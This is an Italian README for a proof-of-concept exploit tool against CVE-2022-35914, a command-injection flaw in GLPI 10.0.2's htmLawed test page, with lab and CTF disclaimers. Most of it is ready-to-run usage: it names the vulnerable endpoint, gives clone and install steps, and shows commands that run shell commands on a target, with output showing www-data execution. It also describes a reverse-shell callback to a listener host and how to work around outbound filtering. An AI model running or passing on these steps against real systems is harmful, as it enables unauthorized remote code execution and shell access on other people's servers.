
Exploit PoC per CVE-2022-35914 — GLPI v.10.0.2: iniezione di comandi in htmLawed, esecuzione di comandi e supporto per reverse shell.
PoC per CVE-2022-35914, una vulnerabilità di command-injection che coinvolge il componente di test htmLawed in installazioni GLPI vulnerabili.
Lo strumento fornisce l'esecuzione di comandi attraverso l'endpoint vulnerabile e include funzionalità di callback opzionali per ambienti di laboratorio autorizzati.
Disclaimer: Questo progetto è destinato esclusivamente a test di sicurezza autorizzati, CTF, laboratori OffSec/PG e scopi educativi. Non utilizzarlo contro sistemi senza esplicita autorizzazione.
| Campo | Dettagli |
|---|---|
| CVE | CVE-2022-35914 |
| Software | GLPI v.10.0.2 |
| Componente | htmLawed |
| Endpoint vulnerabile | /vendor/htmlawed/htmlawed/htmLawedTest.php |
Il componente vulnerabile può consentire l'esecuzione di comandi tramite parametri appositamente costruiti su installazioni interessate.
Python 3 e le dipendenze richieste.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Clona il repository:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Rendi eseguibile lo script:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Output di esempio:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
L'opzione -c specifica il comando da eseguire.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| Opzione | Descrizione | Predefinito |
|---|---|---|
-u, --url | URL o indirizzo IP di destinazione | Obbligatorio |
-c, --cmd | Comando da eseguire | id |
--check | Verifica la destinazione senza eseguire un comando | Disabilitato |
--user-agent | User-Agent HTTP personalizzato | Predefinito |
-p, --rport | Porta del servizio HTTP di destinazione | 80 |
-l, --lhost | Indirizzo IP di callback/listener | — |
-lp, --lport | Porta di callback/listener | — |
L'opzione -p / --rport specifica la porta su cui è in esecuzione il servizio web GLPI vulnerabile.
Predefinito:
80
Esempio:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Usa --check per verificare che la pagina di test htmLawed sia disponibile senza eseguire un comando:
python3 glpi.py -u TARGET_IP --check
È possibile fornire un User-Agent HTTP personalizzato con:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
Lo script supporta parametri di callback opzionali:
-l IP di callback/listener
-lp Porta di callback/listener
Esempio:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
In questo esempio:
Target: TARGET_IP:80
Callback: LHOST:80
Le due porte hanno scopi diversi:
-p = Porta HTTP GLPI di destinazione
-lp = Porta di callback/listener
Durante i test in un ambiente di laboratorio OffSec, il callback ha funzionato correttamente sulla porta TCP 80.
Altre porte di callback, come 4444, potrebbero andare in timeout a seconda della rete del laboratorio e del filtraggio in uscita.
Per l'ambiente testato:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Il listener è stato configurato sull'interfaccia VPN di Kali utilizzando la porta TCP 80.
Importante: L'utilizzo della porta 80 per il callback è un'osservazione specifica dell'ambiente. Non è un requisito di CVE-2022-35914.
Per prima cosa verifica l'esecuzione dei comandi:
python3 glpi.py -u TARGET_IP -c 'id'
Controlla se le utility richieste esistono:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Se l'esecuzione dei comandi funziona ma il callback va in timeout, controlla il routing VPN e la porta di callback.
Se il parsing dell'output dei comandi fallisce, la risposta HTTP completa viene salvata in:
/tmp/glpi.html
Ispezionala con:
less /tmp/glpi.html
oppure:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Per l'ambiente di laboratorio OffSec testato:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Questo progetto è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.
L'autore non è responsabile per qualsiasi uso improprio, danno, accesso non autorizzato o attività illegale che coinvolga questo software.
Ottieni sempre un'esplicita autorizzazione prima di testare un sistema.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 di cyb3rk0ala